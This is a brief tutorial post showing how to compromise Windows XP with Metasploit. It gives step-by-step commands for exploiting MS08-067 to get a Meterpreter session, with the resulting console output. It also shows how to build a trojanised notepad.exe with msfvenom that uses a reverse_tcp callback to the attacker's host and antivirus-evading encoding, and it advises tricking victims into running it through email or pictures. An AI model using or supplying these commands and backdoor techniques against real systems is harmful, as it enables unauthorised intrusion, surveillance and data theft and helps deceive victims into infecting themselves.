Demo using Metasploit to invade Windows

The IP address I use for Kali Linux is 192.168.0.112; There is a test PC running Windows XP (192.168.0.108) on the same LAN.

This article demonstrates how to use Metasploit to invade Windows XP SP3.

Start Msfconsole:

# msfconsole

Select a vulnerability:

Exploit/windows/smb/ms08_067_netapi was the vulnerability discovered in 08, ranking great.

It is helpful to view the details of a vulnerability, including usage methods, supported platforms, and so on:

msf > info exploit/windows/smb/ms08_067_netapi

Execute the following command in turn:

msf > use exploit/windows/smb/ms08_067_netapi> set payload windows/meterpreter/bind_tcp> set RHOST 192.168.0.108  (设置目标主机IP地址)> exploit

If the target host has this vulnerability, you can control it, and if not, try to use a different vulnerability.

[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP SP3 - Service Pack 3 - lang:Chinese[*] Selected Target: Windows XP SP3 Chinese (AlwaysOn NK)[*] Attempting to trigger the vulnerability...[*] Sending stage (751104 bytes) to 192.168.0.108[*] Meterpreter session 1 opened (192.168.0.1:41614 -> 192.168.0.108:4444) at 2016-04-15 17:29:32meterpreter >

Now you can control the target host, you can take screenshots, audio, video, download files, kill the process, and so on; Use Help to view the commands that you can execute.

Demo using backdoors to hack into Windows

Rationale: Generate a backdoor on Kali Linux and send it to the victim to trick the victim into running (using mail, pictures, etc.). The difficulty is the need for anti-virus software and firewalls.

To generate a backdoor program:

I hid the backdoor in the Notepad program: notepad.exe

View Kali Linux Ip:ifconfig (192.168.0.112)

To create a backdoor, My_backdoor.exe:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4445 -x NOTEPAD.EXE -e x86/jmp_call_additive -i 4 -k -f exe > my_backdoor.exe

The above command uses encryption to try to avoid antivirus software, but do not expect it to take effect. Use man msfvenom to view Help.

Send it to the Windows system and run it if you cannot run swap with another encryption method.

Start Msfconsole:

# msfconsole

use exploit/multi/handlerset LHOST 192.168.0.112set LPORT 4445set payload windows/meterpreter/reverse_tcpshow optionsexploit

Wait for the victim to start the backdoor program.

OK, the invasion was successful.

Demo using Metasploit to invade Windows